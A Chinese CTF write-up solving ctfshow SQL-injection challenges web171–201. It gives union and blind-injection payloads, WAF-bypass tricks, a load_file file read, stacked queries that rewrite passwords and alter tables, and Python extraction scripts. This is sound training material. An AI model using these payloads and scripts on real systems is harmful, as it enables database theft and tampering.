CTFSHOW WEB入门 SQL注入篇

web171

//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

无过滤的字符型注入。
payload: 1'or'1'='1
滑到底找到flag。

web172

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if($row->username!=='flag'){
    $ret['msg']='查询成功';
}

无过滤的字符型注入,添加了条件限制 username!='flag',要用联合查询注入。
已给出sql语句,不再用 0'union select 1,2 %231' order by 2 %23 确定列数。
payload: 0' union select 1,(select password from ctfshow_user2 where username='flag') %23
密码栏出flag。

web173

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
    $ret['msg']='查询成功';
}

有过滤的字符型注入,添加了检查结果中是否匹配正则表达式 /flag/i ,若匹配则查询失败。
先用上一题的payload打一下试试
payload: 0' union select 1,2,(select password from ctfshow_user2 where username='flag') %23
密码栏出现的不是flag而是 not_here,查表名
payload: 0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23
结果
ctfshow_user,ctfshow_user2,ctfshow_user3
查第一个表
payload: 0' union select 1,2,(select password from ctfshow_user where username='flag') %23
查询失败,返回结果触发了正则过滤。添加hex函数绕过正则过滤
payload: 0' union select 1,2,hex((select password from ctfshow_user where username='flag')) %23
结果解码后
flag_not_here
查第三个表
payload: 0' union select 1,2,hex((select password from ctfshow_user3 where username='flag')) %23
密码栏hex解码出flag。

web174

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
    $ret['msg']='查询成功';
}

有过滤的字符型注入,更改正则表达式 /flag|[0-9]/i,返回结果中不能有数字。
hex,to_base64里面也有数字,根据给出的查询语句,构造 payload 写个布尔盲注脚本。

import requests

payload = "0' union select 'a',if(ascii(substr((select password from ctfshow_user4 where username='flag'), {},1))>{},'cluster','boom') %23"
url = "http://168b1d40-414d-4b42-a7cd-1cb5fd00bfe6.challenge.ctf.show:8080/api/v4.php?id="


def test_chr(index: int, offset: int):
    response = requests.get(url + payload.format(index, offset))
    assert "cluster" in response.text or "boom" in response.text
    if "cluster" in response.text:
        return True
    elif "boom" in response.text:
        return False


index = 1
flag = ""
while True:
    start = 32
    end = 127
    while True:
        if abs(start-end) == 1 or start == end:
            break
        point = (start + end) // 2
        if test_chr(index, point):
            start = point
        else:
            end = point
    if end < start:
        end = start
    flag += chr(end)
    print(f"[*] flag: {flag}")
    index += 1

脚本输出flag。

web175

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
    $ret['msg']='查询成功';
}

无过滤字符型注入,更改正则表达式为 /[\x00-\x7f]/i,过滤了 ascii 0-127,相当于没有回显,把上一题的脚本改为时间盲注

import requests

payload = "0' union select 'a',if(ascii(substr((select password from ctfshow_user5 where username='flag'), {},1))>{},sleep(2),1) %23"
url = "http://dc63c6a5-aa8b-4e21-a765-56eb704e4809.challenge.ctf.show:8080/api/v5.php?id="


def test_chr(index: int, offset: int):
    try:
        response = requests.get(url + payload.format(index, offset), timeout=1)
    except:
        return True
    return False


index = 1
flag = ""
while True:
    start = 32
    end = 127
    while True:
        if abs(start-end) == 1 or start == end:
            break
        point = (start + end) // 2
        if test_chr(index, point):
            start = point
        else:
            end = point
    if end < start:
        end = start
    flag += chr(end)
    print(f"[*] flag: {flag}")
    index += 1

脚本输出flag。

web176

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//对传入的参数进行了过滤
function waf($str){
    //代码过于简单,不宜展示
}

有过滤的字符型注入,还没弄清过滤了哪些字符,试了一个 payload 就出了 flag。
payload: 1'or'1'='1
这里其实是对 select 进行了过滤,大小写就能绕过。
滑到底找到flag。

web177

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//对传入的参数进行了过滤
function waf($str){
    //代码过于简单,不宜展示
}

有过滤的字符型注入,尝试后发现过滤了空格(%20),用 %09 代替即可。

a = "1' union select 1,2,(select password from ctfshow_user where username = 'flag') %23"


def bypass(s: str):
    return s.replace(" ", "%09") # 这里用 %0a %0b %0c %0d /**/ 也可以


print(bypass(a))

payload: 1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username%09=%09'flag')%09%23

web178

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//对传入的参数进行了过滤
function waf($str){
    //代码过于简单,不宜展示
}

有过滤的字符型注入,和上一题差不多,可能增加了什么过滤,但用上一题的 payload 还是能打通。
payload: 1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username%09=%09'flag')%09%23

web179

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//对传入的参数进行了过滤
function waf($str){
    //代码过于简单,不宜展示
}

有过滤的字符型注入,和上上题差不多,增加了对 %09 %0a %0b %0d 的过滤,%0c 可以用。

a = "1' union select 1,2,(select password from ctfshow_user where username = 'flag') %23"


def bypass(s: str):
    return s.replace(" ", "%0c")


print(bypass(a))

payload: 1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername%0c=%0c'flag')%0c%23

web180

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//对传入的参数进行了过滤
function waf($str){
    //代码过于简单,不宜展示
}

有过滤的字符型注入,相比上题增加了对 #(%23) 的过滤,这里使用 -- (--后加个空格) 绕过。

a = "1' union select 1,2,(select password from ctfshow_user where username = 'flag') -- "


def bypass(s: str):
    return s.replace(" ", "%0c")


print(bypass(a))

payload: 1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername%0c=%0c'flag')%0c--%0c

web181

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//对传入的参数进行了过滤
function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

有过滤的字符型注入,这次给出了过滤的函数 waf。
可知没有空格和 select 可以用,这里利用逻辑运算的优先级构造 and 语句,绕过查询语句前面的 username != flag,且不能含有空格。
由前几题或爆破可得,flag 所在记录的 id 列的值为 26,故构造
payload: 0'or(id=26)and'1
and 的优先级比 or 要高,故注入后的语句变成了
select id,username,password from ctfshow_user where username != 'flag' and id = '0'or(id=26)and'1' limit 1;
前面满足条件 id=0 的记录不存在,故该语句可简化为
select id,username,password from ctfshow_user where (0) or(id=26)and'1' limit 1;
先计算 and,再计算 or,最后得到满足 id=26 的记录,即 flag。

web182

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//对传入的参数进行了过滤
function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

有过滤的字符型注入,正则多过滤了一个 flag,上一题的 payload 可以继续用,当然如果想还可以盲注(脱裤子放屁)。。。
payload1: 0'or(id=26)and'1
payload2: -1'or(id=26)and(if(ascii(mid(password,{},1))>{},sleep(1),1))and'1

web183

有过滤的表名位置注入,返回结果只有记录的总数。过滤函数

//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
//返回用户表的记录总数
$user_count = 0;

过滤 ban 掉了 =,使用 like 或 regexp 构造 payload 进行布尔盲注

import string

import requests

url = "http://ff8c3946-0975-4e96-b520-a7a95a9f5038.challenge.ctf.show:8080/select-waf.php"
payload = "(ctfshow_user)where(pass)like(0x{})"
true_flag = "$user_count = 1;"


def make_payload(has: str) -> str:
    return payload.format((has + "%").encode().hex())


def valid_payload(p: str) -> bool:
    data = {
        "tableName": p
    }
    response = requests.post(url, data=data)
    return true_flag in response.text


flag = "ctf" # 这里注意表中用 like 'ctf%' 只有一个结果,要提前给出这一小段 flag 头避免其他记录干扰匹配
while True:
    for c in "{}-" + string.digits + string.ascii_lowercase:
        pd = flag+c
        print(f"\r[*] trying {pd}", end="")
        if valid_payload(make_payload(pd)):
            flag += c
            print(f"\r[*] flag: {flag}")
            break
    if flag[-1] == "}":
        break

脚本输出 flag。

web184

//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用户表的记录总数
    $user_count = 0;

有过滤表名位置注入,过滤相比上一题解禁了空格,增加了 where 和一些用不到的函数。

//对传入的参数进行了过滤
function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

RIGHT JOIN(右连接): 用于获取右表所有记录,即使左表没有对应匹配的记录。
例如:

mysql> select * from persons; 
+----+----------+----------+
| id | username | position |
+----+----------+----------+
|  1 | b477eRy  | 1        |
|  2 | p1       | 1        |
|  3 | p2       | 3        |
|  4 | p3       | 2        |
|  5 | p4       | 2        |
+----+----------+----------+
5 rows in set (0.00 sec)

mysql> select * from persons as a right join persons as b on b.position =3;        
+------+----------+----------+----+----------+----------+
| id   | username | position | id | username | position |
+------+----------+----------+----+----------+----------+
|    1 | b477eRy  | 1        |  3 | p2       | 3        |
|    2 | p1       | 1        |  3 | p2       | 3        |
|    3 | p2       | 3        |  3 | p2       | 3        |
|    4 | p3       | 2        |  3 | p2       | 3        |
|    5 | p4       | 2        |  3 | p2       | 3        |
| NULL | NULL     | NULL     |  1 | b477eRy  | 1        |
| NULL | NULL     | NULL     |  2 | p1       | 1        |
| NULL | NULL     | NULL     |  4 | p3       | 2        |
| NULL | NULL     | NULL     |  5 | p4       | 2        |
+------+----------+----------+----+----------+----------+
9 rows in set (0.00 sec)

条件有一条记录满足时,记录总数 = 总数 * 2 - 1

过滤 ban 了 where,可以用 right/left/inner join 代替

import string

import requests

url = "http://89463a4c-73a0-4eb7-bc52-ed12c47bf60b.challenge.ctf.show:8080/select-waf.php"
payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x{})"
true_flag = "$user_count = 43;"


def make_payload(has: str) -> str:
    return payload.format((has).encode().hex())


def valid_payload(p: str) -> bool:
    data = {
        "tableName": p
    }
    response = requests.post(url, data=data)
    return true_flag in response.text


flag = "ctf" # 这里注意表中用 regexp('ctf') 只有一个结果,要提前给出这一小段 flag 头避免其他记录干扰匹配
while True:
    for c in "{}-" + string.digits + string.ascii_lowercase:
        pd = flag+c
        print(f"\r[*] trying {pd}", end="")
        if valid_payload(make_payload(pd)):
            flag += c
            print(f"\r[*] flag: {flag}")
            break
    if flag[-1] == "}":
        break

脚本输出 flag。

web185

//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用户表的记录总数
$user_count = 0;

有过滤的表名位置注入,这次过滤了所有数字,需要自己构造数字,char 转换数组成字符串。

//对传入的参数进行了过滤
function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
expression number
false 0
true 1
true+true 2
floor(pi()) 3
ceil(pi()) 4
floor(pi())+true 5
floor(pi())+floor(pi()) 6
floor(pi())+ceil(pi()) 7
ceil(pi())+ceil(pi()) 8
floor(pi())*floor(pi()) 9
floor(pi())*floor(pi())+true 10
写了半天发现正则还过滤了 *,只能硬加出来了。。。
import string

import requests


url = "http://a65c7280-632a-4429-a6a9-a8250b2e223b.challenge.ctf.show:8080/select-waf.php"
payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(char({}))"
true_flag = "$user_count = 43;"


def convert(num: int) -> str:
    return '+'.join("true" for _ in range(num))


def make_payload(has: str) -> str:
    return payload.format(','.join([convert(ord(x)) for x in has]))


def valid_payload(p: str) -> bool:
    data = {
        "tableName": p
    }
    response = requests.post(url, data=data)
    return true_flag in response.text


flag = "ctf" # 这里注意表中用 regexp('ctf') 只有一个结果,要提前给出这一小段 flag 头避免其他记录干扰匹配
while True:
    for c in "{}-" + string.digits + string.ascii_lowercase:
        pd = flag+c
        print(f"\r[*] trying {pd}", end="")
        if valid_payload(make_payload(pd)):
            flag += c
            print(f"\r[*] flag: {flag}")
            break
    if flag[-1] == "}":
        break

脚本输出 flag。

web186

有过滤的表名位置注入

//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用户表的记录总数
$user_count = 0;

过滤增加了几个运算符号,加号还是能用,上一题的脚本一把梭。

web187

MD5 编码后的字符型注入

//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
    $ret['msg']='用户名不存在';
    die(json_encode($ret));
}

username 只能为 admin,password 使用的 md5 函数第二个参数为 true,可用特殊 payload ffifdyop 绕过。

var_dump(md5("ffifdyop", true));
//string(16) "'or'6]!r,b"

登录成功查看 response 找到 flag。

web188

有过滤的数字型注入

//查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
      
//返回逻辑


//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
    $ret['msg']='登陆成功';
    array_push($ret['data'], array('flag'=>$flag));
}

Why SELECT * FROM Table where username = 0 shows all rows? [username column is varchar]
当列的类型为 string 时,在查询限制条件中使用数字会将字符串转为数字进行比较,非数字开头的字符串会被转化为数字 0

故这里的 username 填写数字 0 就能查出所有记录。

php弱类型总结
在 php 中,当一个字符串当作一个数值来取值,其结果和类型如下: 如果该字符串没有包含 '.','e','E' 并且其数值值在整形的范围之内该字符串被当作 int 来取值,其他所有情况下都被作为 float 来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

$row['pass'] 为 string 类型,若第一个字符不是数字就会被转换为数字 0。尝试在 password 填写数字 0,成功绕过。
登录成功,response 内找到 flag。

web189

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
    $ret['msg']='登陆成功';
}

有过滤的数字型注入,尝试上一题的解法不能绕过,password 不止第一个字符是数字,不能被转换为 0。
正则很多东西没有过滤,可以利用 username 筛选条件 0 和 1 的回显不同,读文件布尔盲注 flag

import requests

url = "http://06d6c1a8-d2cf-4590-8b20-19fd83835dff.challenge.ctf.show:8080/api/"
payload1 = "if(locate('ctfshow',load_file('/var/www/html/api/index.php'))>{index},0,1)"


def find_flag_index() -> int:
    start = 0
    end = 1000
    while not (abs(start-end) == 1 or start == end):
        p = (start + end) // 2
        data = {
            "username": payload1.format(index=p),
            "password": 0
        }
        response = requests.post(url, data=data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text:
            start = p
        else:
            end = p
    if end < start:
        end = start
    return end


print("[*] finding flag index")
flag_index = find_flag_index()
print(f"[!] flag index found: {flag_index}")
flag = "c"
flag_index += 1
print("[*] start to injection")
payload2 = "if(ascii(substr(load_file('/var/www/html/api/index.php'),{},1))>{},0,1)"

while flag[-1] != "}":
    start = 32
    end = 127
    while not (abs(start-end) == 1 or start == end):
        p = (start + end) // 2
        data = {
            "username": payload2.format(flag_index, p),
            "password": 0
        }
        response = requests.post(url, data=data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text:
            start = p
        else:
            end = p
    if end < start:
        end = start
    flag += chr(end)
    print(f"[*] flag: {flag}")
    flag_index += 1

路径 /var/www/html 有点脑洞,题目描述只说了 "flag 在 api/index.php 文件中"
脚本输出 flag。

web190

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
//密码检测
if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
    $ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪

有过滤的字符型注入,没有给出过滤的正则表达式,在 username 处构造 payload 布尔盲注。
先查表名,再查列名,再用列名和表名构造 payload 查 flag。

import requests

url = "http://e542cd49-fc4e-4ed0-a6cf-0ba1142d8c97.challenge.ctf.show:8080/api/"
# 表名 ctfshow_fl0g,ctfshow_user
# payload = "0' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0) -- "
# 列名 id,f1ag,id,username,pass
# payload = "0' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},1,0) -- "
# flag
payload = "0' or if(ascii(substr((select f1ag from ctfshow_fl0g),{},1))>{},1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
    start = 32
    end = 127
    while not (abs(start-end) == 1 or start == end):
        p = (start + end) // 2
        data = {
            "username": payload.format(index, p),
            "password": 0
        }
        response = None
        while True:
            try:
                response = requests.post(url, data=data)
            except:
                continue
            break
        if true_flag in response.text:
            start = p
        else:
            end = p
    if end < start:
        end = start
    result += chr(end)
    print(f"[*] result: {result}")
    index += 1

web191

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
//密码检测
if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
    $ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
}

有过滤的字符型注入,给出了过滤正则表达式,发现禁用了 ascii,把脚本改成不用二分法而是暴力遍历每个字符的值。
(PS:事后发现不用 ascii 也可以直接用大于号比较字母的 ascii 大小,二分法还是能用的......)

# 不用二分法
import string

import requests

url = "http://c9b03201-bcdf-42ce-ac5b-c546603c1848.challenge.ctf.show:8080/api/"
payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where " \
          "table_schema=database()),{},1)='{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"


def valid_char(index: int, c: chr) -> bool:
    data = {
        "username": payload.format(index, c),
        "password": 0
    }
    response = None
    while True:
        try:
            response = requests.post(url, data=data)
        except:
            continue
        break
    return true_flag in response.text


result = ""
index = 1

while True:
    for char in string.printable:
        print(f"\r[*] trying: {result + char}", end="")
        if valid_char(index, char):
            result += char
            print(f"\r[*] result: {result}")
            index += 1
            break
# 用了二分法 dejavu~~~
import requests

url = "http://c9b03201-bcdf-42ce-ac5b-c546603c1848.challenge.ctf.show:8080/api/"
# 表名 CtFsHOw{FL0G,CtFsHOw{usEr
# payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 ID,F1AG,ID,usErNAME,pAss
# payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
    start = 32
    end = 127
    while not (abs(start-end) == 1 or start == end):
        p = (start + end) // 2
        data = {
            "username": payload.format(index, chr(p)),
            "password": 0
        }
        response = None
        while True:
            try:
                response = requests.post(url, data=data)
            except:
                continue
            break
        if true_flag in response.text:
            start = p
        else:
            end = p
    if end < start:
        end = start
    result += chr(end)
    print(f"[*] result: {result}")
    index += 1

web192

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
//密码检测
if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
    $ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
}

有过滤的字符型注入,过滤正则表达式新增 ord hex,对上一题的脚本没有影响,一把梭。

web193

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
//密码检测
if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
    $ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
}

有过滤的字符型注入,过滤正则表达式新增 substr,改用 mid 即可。

import requests

url = "http://308c24b8-b4a7-4ad5-a2b9-42804d696718.challenge.ctf.show:8080/api/"
# 表名 ctfshow{flxg,ctfshow{user
# payload = "0' or if(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 id,f1ag,id,username,pass
# payload = "0' or if(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(mid((select f1ag from ctfshow_flxg),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
    start = 32
    end = 127
    while not (abs(start-end) == 1 or start == end):
        p = (start + end) // 2
        data = {
            "username": payload.format(index, chr(p)),
            "password": 0
        }
        response = None
        while True:
            try:
                response = requests.post(url, data=data)
            except:
                continue
            break
        if true_flag in response.text:
            start = p
        else:
            end = p
    if end < start:
        end = start
    result += chr(end).lower() # 部分字母变成了大写 _ 变成了 { 暂时还不知道什么原因 但可以肯定跟没用 ascii() 有关
    print(f"[*] result: {result}")
    index += 1

web194

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";

//密码检测
if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
    $ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
}

有过滤的字符型注入,过滤正则表达式新增 char left right substring,对上一题的脚本没有影响,一把梭。

web195

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

//密码检测
if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
    $ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
}

if($row[0]==$password){
    $ret['msg']="登陆成功 flag is $flag";
}

有过滤的数字型注入,没有过滤分号可堆叠注入,过滤正则表达式没有禁用 ; update set =,利用堆叠注入更改密码为 10086。用户名处填写
payload: 0;update`ctfshow_user`set`pass`=0x3130303836 ,没有用到空格。
登录得到 flag。

web196

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
}

if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
}

if($row[0]==$password){
    $ret['msg']="登陆成功 flag is $flag";
}

有过滤的数字型注入,给出的过滤正则表达式变得不可信,明明有 select 但还是可以用的,利用堆叠注入绕过密码。
payload: 1;select(1) 密码 1

web197

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
      
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
}

if($row[0]==$password){
    $ret['msg']="登陆成功 flag is $flag";
}

有过滤的数字型注入,没有过滤分号可堆叠注入。没有禁用 空格 alter table change column,id 相比 password 具有递增规律更容易爆破,互换 id 和 password 列名爆破。

import requests

url = "http://5b75f519-f196-427c-bbb1-6841984ef093.challenge.ctf.show:8080/api/"


def alter_table():
    data = {
        "username": "0;alter table ctfshow_user change column pass tmp varchar(255);alter table ctfshow_user change "
                    "column id pass varchar(255);alter table ctfshow_user change column tmp id varchar(255)",
        "password": 1
    }
    _ = requests.post(url, data=data)


success_flag = "\\u767b\\u9646\\u6210\\u529f"


def brute_force_admin():
    for i in range(300):
        data = {
            "username": f"0x{'admin'.encode().hex()}",
            "password": 1
        }
        response = requests.post(url, data=data)
        if success_flag in response.text:
            print(f"[*] msg: {response.text}")
            return


if __name__ == "__main__":
    print("[*] change column id to pass")
    alter_table()
    print("[*] brute force admin password")
    brute_force_admin()

这题脚本搞了一阵才跑通,最后发现是“登陆”写成了“登录”,尴尬。。。

web198

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
      
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
}

if($row[0]==$password){
    $ret['msg']="登陆成功 flag is $flag";
}

有过滤的数字型注入,没有过滤分号可堆叠注入,没有禁用 alter,上一题脚本一把梭。

web199

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
      
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
}

if($row[0]==$password){
    $ret['msg']="登陆成功 flag is $flag";
}

有过滤的数字型注入,没有过滤分号可堆叠注入。
正则禁用了括号,password 改用 text 类型,id 改用 int 类型

import requests

url = "http://3e88c41f-6b50-41ed-9002-e37799200c7c.challenge.ctf.show:8080/api/"


def alter_table():
    data = {
        "username": "0;alter table ctfshow_user change column pass tmp text;alter table ctfshow_user change "
                    "column id pass int;alter table ctfshow_user change column tmp id text",
        "password": 1
    }
    _ = requests.post(url, data=data)


success_flag = "\\u767b\\u9646\\u6210\\u529f"


def brute_force_admin():
    for i in range(300):
        data = {
            "username": f"0x{'admin'.encode().hex()}",
            "password": 1
        }
        response = requests.post(url, data=data)
        if success_flag in response.text:
            print(f"[*] msg: {response.text}")
            return


if __name__ == "__main__":
    print("[*] change column id to pass")
    alter_table()
    print("[*] brute force admin password")
    brute_force_admin()

web200

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
      
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
}

if($row[0]==$password){
    $ret['msg']="登陆成功 flag is $flag";
}

有过滤的数字型注入,没有过滤分号可堆叠注入,上一题脚本一把梭。

web201

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";
      
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

sqlmap 工具使用练习。
